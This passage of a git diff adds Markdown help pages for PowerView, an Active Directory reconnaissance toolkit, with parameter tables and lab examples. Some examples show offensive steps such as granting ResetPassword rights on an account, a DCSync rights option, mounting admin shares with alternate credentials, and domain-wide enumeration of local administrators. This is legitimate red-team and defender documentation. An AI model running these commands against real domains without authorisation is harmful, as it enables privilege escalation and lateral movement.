S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid +``` + +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} + +\[no results returned\] + +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose +VERBOSE: \[Get-Domain\] Using alternate credentials for Get-Domain +VERBOSE: \[Get-Domain\] Extracted domain 'TESTLAB' from -Credential +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainSearcher\] Using alternate credentials for LDAP connection +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y)))) +VERBOSE: \[Get-Domain\] Using alternate credentials for Get-Domain +VERBOSE: \[Get-Domain\] Extracted domain 'TESTLAB' from -Credential +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainSearcher\] Using alternate credentials for LDAP connection +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: \[Add-DomainObjectAcl\] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local +VERBOSE: \[Add-DomainObjectAcl\] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local + +Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } + +AceQualifier : AccessAllowed +ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + +## PARAMETERS + +### -TargetIdentity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain object to modify ACLs for. +Required. +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -TargetDomain +Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -TargetLDAPFilter +Specifies an LDAP query string that is used to filter Active Directory object targets. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -TargetSearchBase +The LDAP source to search through for targets, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PrincipalIdentity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain principal to add for the ACL. +Required. +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PrincipalDomain +Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Rights +Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. +Defaults to 'All'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: All +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RightsGUID +Manual GUID representing the right to add to the target. + +```yaml +Type: Guid +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[https://adsecurity.org/?p=1906 +https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell](https://adsecurity.org/?p=1906 +https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell) + diff --git a/docs/Recon/Add-RemoteConnection.md b/docs/Recon/Add-RemoteConnection.md new file mode 100755 index 00000000..86112e24 --- /dev/null +++ b/docs/Recon/Add-RemoteConnection.md @@ -0,0 +1,114 @@ +# Add-RemoteConnection + +## SYNOPSIS +Pseudo "mounts" a connection to a remote path using the specified +credential object, allowing for access of remote resources. +If a -Path isn't +specified, a -ComputerName is required to pseudo-mount IPC$. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +### ComputerName (Default) +``` +Add-RemoteConnection [-ComputerName] -Credential +``` + +### Path +``` +Add-RemoteConnection [-Path] -Credential +``` + +## DESCRIPTION +This function uses WNetAddConnection2W to make a 'temporary' (i.e. +not saved) connection +to the specified remote -Path (\\\\UNC\share) with the alternate credentials specified in the +-Credential object. +If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$. + +To destroy the connection, use Remove-RemoteConnection with the same specified \\\\UNC\share path +or -ComputerName. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$Cred = Get-Credential +``` + +Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-RemoteConnection -Path '\\\\PRIMARY.testlab.local\C$\' -Credential $Cred + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$Cred = Get-Credential +``` + +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the system to add a \\\\ComputerName\IPC$ connection for. + +```yaml +Type: String[] +Parameter Sets: ComputerName +Aliases: HostName, dnshostname, name + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Path +Specifies the remote \\\\UNC\path to add the connection for. + +```yaml +Type: String[] +Parameter Sets: Path +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Convert-ADName.md b/docs/Recon/Convert-ADName.md new file mode 100755 index 00000000..7f9f42bb --- /dev/null +++ b/docs/Recon/Convert-ADName.md @@ -0,0 +1,184 @@ +# Convert-ADName + +## SYNOPSIS +Converts Active Directory object names between a variety of formats. + +Author: Bill Stewart, Pasquale Lantella +Modifications: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Convert-ADName [-Identity] [[-OutputType] ] [[-Domain] ] [[-Server] ] + [[-Credential] ] +``` + +## DESCRIPTION +This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK) +and translates Active Directory names between various formats using the NameTranslate COM object. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Convert-ADName -Identity "TESTLAB\harmj0y" +``` + +harmj0y@testlab.local + +### -------------------------- EXAMPLE 2 -------------------------- +``` +"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical +``` + +testlab.local/Users/krbtgt +testlab.local/Users/Administrator + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local +``` + +CN=harmj0y,CN=Users,DC=testlab,DC=local + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred + +TESTLAB\harmj0y + +## PARAMETERS + +### -Identity +Specifies the Active Directory object name to translate, of the following form: + + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. +'pflynn' + DomainSimple simple domain name format, e.g. +'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. +'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format + SPN service principal name format; e.g. +'HTTP/kairomac.contoso.com' + SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999' + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Name, ObjectName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -OutputType +Specifies the output name type you want to convert to, which must be one of the following: + + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. +'pflynn' + DomainSimple simple domain name format, e.g. +'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. +'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format, e.g. +'fabrikam.com/Users/Phineas Flynn' + SPN service principal name format; e.g. +'HTTP/kairomac.contoso.com' + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the translation, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to for the translation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 4 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +Specifies an alternate credential to use for the translation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more objects name strings on the pipeline. + +## OUTPUTS + +### String + +Outputs a string representing the converted name. + +## NOTES + +## RELATED LINKS + +[http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67](http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67) + diff --git a/docs/Recon/ConvertFrom-SID.md b/docs/Recon/ConvertFrom-SID.md new file mode 100755 index 00000000..186e19b6 --- /dev/null +++ b/docs/Recon/ConvertFrom-SID.md @@ -0,0 +1,126 @@ +# ConvertFrom-SID + +## SYNOPSIS +Converts a security identifier (SID) to a group/user name. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName + +## SYNTAX + +``` +ConvertFrom-SID [-ObjectSid] [[-Domain] ] [[-Server] ] + [[-Credential] ] +``` + +## DESCRIPTION +Converts a security identifier string (SID) to a group/user name +using Convert-ADName. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 +``` + +TESTLAB\harmj0y + +### -------------------------- EXAMPLE 2 -------------------------- +``` +"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID +``` + +TESTLAB\WINDOWS2$ +TESTLAB\harmj0y +BUILTIN\Distributed COM Users + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred + +TESTLAB\harmj0y + +## PARAMETERS + +### -ObjectSid +Specifies one or more SIDs to convert. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: SID + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the translation, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to for the translation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +Specifies an alternate credential to use for the translation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more SID strings on the pipeline. + +## OUTPUTS + +### String + +The converted DOMAIN\username. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/ConvertFrom-UACValue.md b/docs/Recon/ConvertFrom-UACValue.md new file mode 100755 index 00000000..c75f9421 --- /dev/null +++ b/docs/Recon/ConvertFrom-UACValue.md @@ -0,0 +1,127 @@ +# ConvertFrom-UACValue + +## SYNOPSIS +Converts a UAC int value to human readable form. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +ConvertFrom-UACValue [-Value] [-ShowAll] +``` + +## DESCRIPTION +This function will take an integer that represents a User Account +Control (UAC) binary blob and will covert it to an ordered +dictionary with each bitwise value broken out. +By default only values +set are displayed- the -ShowAll switch will display all values with +a + next to the ones set. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +ConvertFrom-UACValue -Value 66176 +``` + +Name Value +---- ----- +ENCRYPTED_TEXT_PWD_ALLOWED 128 +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainUser harmj0y | ConvertFrom-UACValue +``` + +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll +``` + +Name Value +---- ----- +SCRIPT 1 +ACCOUNTDISABLE 2 +HOMEDIR_REQUIRED 8 +LOCKOUT 16 +PASSWD_NOTREQD 32 +PASSWD_CANT_CHANGE 64 +ENCRYPTED_TEXT_PWD_ALLOWED 128 +TEMP_DUPLICATE_ACCOUNT 256 +NORMAL_ACCOUNT 512+ +INTERDOMAIN_TRUST_ACCOUNT 2048 +WORKSTATION_TRUST_ACCOUNT 4096 +SERVER_TRUST_ACCOUNT 8192 +DONT_EXPIRE_PASSWORD 65536+ +MNS_LOGON_ACCOUNT 131072 +SMARTCARD_REQUIRED 262144 +TRUSTED_FOR_DELEGATION 524288 +NOT_DELEGATED 1048576 +USE_DES_KEY_ONLY 2097152 +DONT_REQ_PREAUTH 4194304 +PASSWORD_EXPIRED 8388608 +TRUSTED_TO_AUTH_FOR_DELEGATION 16777216 +PARTIAL_SECRETS_ACCOUNT 67108864 + +## PARAMETERS + +### -Value +Specifies the integer UAC value to convert. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: UAC, useraccountcontrol + +Required: True +Position: 1 +Default value: 0 +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ShowAll +Switch. +Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### Int + +Accepts an integer representing a UAC binary blob. + +## OUTPUTS + +### System.Collections.Specialized.OrderedDictionary + +An ordered dictionary with the converted UAC fields. + +## NOTES + +## RELATED LINKS + +[https://support.microsoft.com/en-us/kb/305144](https://support.microsoft.com/en-us/kb/305144) + diff --git a/docs/Recon/ConvertTo-SID.md b/docs/Recon/ConvertTo-SID.md new file mode 100755 index 00000000..71e9cea6 --- /dev/null +++ b/docs/Recon/ConvertTo-SID.md @@ -0,0 +1,120 @@ +# ConvertTo-SID + +## SYNOPSIS +Converts a given user/group name to a security identifier (SID). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain + +## SYNTAX + +``` +ConvertTo-SID [-ObjectName] [[-Domain] ] [[-Server] ] [[-Credential] ] +``` + +## DESCRIPTION +Converts a "DOMAIN\username" syntax to a security identifier (SID) +using System.Security.Principal.NTAccount's translate function. +If alternate +credentials are supplied, then Get-ADObject is used to try to map the name +to a security identifier. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +ConvertTo-SID 'DEV\dfm' +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +'DEV\dfm','DEV\krbtgt' | ConvertTo-SID +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred + +## PARAMETERS + +### -ObjectName +The user/group name to convert, can be 'user' or 'DOMAIN\user' format. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Name, Identity + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the translation, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to for the translation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +Specifies an alternate credential to use for the translation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more username specification strings on the pipeline. + +## OUTPUTS + +### String + +A string representing the SID of the translated name. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Export-PowerViewCSV.md b/docs/Recon/Export-PowerViewCSV.md new file mode 100755 index 00000000..15972497 --- /dev/null +++ b/docs/Recon/Export-PowerViewCSV.md @@ -0,0 +1,117 @@ +# Export-PowerViewCSV + +## SYNOPSIS +Converts objects into a series of comma-separated (CSV) strings and saves the +strings in a CSV file in a thread-safe manner. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Export-PowerViewCSV -InputObject [-Path] [[-Delimiter] ] [-Append] +``` + +## DESCRIPTION +This helper exports an -InputObject to a .csv in a thread-safe manner +using a mutex. +This is so the various multi-threaded functions in +PowerView has a thread-safe way to export output to the same file. +Uses .NET IO.FileStream/IO.StreamWriter objects for speed. + +Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590 + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|' +``` + +## PARAMETERS + +### -InputObject +Specifies the objects to export as CSV strings. + +```yaml +Type: PSObject[] +Parameter Sets: (All) +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Path +Specifies the path to the CSV output file. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delimiter +Specifies a delimiter to separate the property values. +The default is a comma (,) + +```yaml +Type: Char +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: , +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Append +Indicates that this cmdlet adds the CSV output to the end of the specified file. +Without this parameter, Export-PowerViewCSV replaces the file contents without warning. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### PSObject + +Accepts one or more PSObjects on the pipeline. + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://poshcode.org/1590 +http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/](http://poshcode.org/1590 +http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/) + diff --git a/docs/Recon/Find-DomainLocalGroupMember.md b/docs/Recon/Find-DomainLocalGroupMember.md new file mode 100755 index 00000000..be4055fc --- /dev/null +++ b/docs/Recon/Find-DomainLocalGroupMember.md @@ -0,0 +1,351 @@ +# Find-DomainLocalGroupMember + +## SYNOPSIS +Enumerates the members of specified local group (default administrators) +for all the targeted machines on the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction + +## SYNTAX + +``` +Find-DomainLocalGroupMember [[-ComputerName] ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerOperatingSystem ] + [-ComputerServicePack ] [-ComputerSiteName ] [-GroupName ] [-Method ] + [-Server ] [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-Credential ] [-Delay ] [-Jitter ] [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the members of the specified local +group (default of Administrators) for each machine using Get-NetLocalGroupMember. +By default, the API method is used, but this can be modified with '-Method winnt' +to use the WinNT service provider. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainLocalGroupMember +``` + +Enumerates the local group memberships for all reachable machines in the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-DomainLocalGroupMember -Domain dev.testlab.local +``` + +Enumerates the local group memberships for all reachable machines the dev.testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred + +Enumerates the local group memberships for all reachable machines the dev.testlab.local +domain using the alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -GroupName +The local group name to query for users. +If not given, it defaults to "Administrators". + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: True (ByPropertyName) +Accept wildcard characters: False +``` + +### -Method +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: CollectionMethod + +Required: False +Position: Named +Default value: API +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### 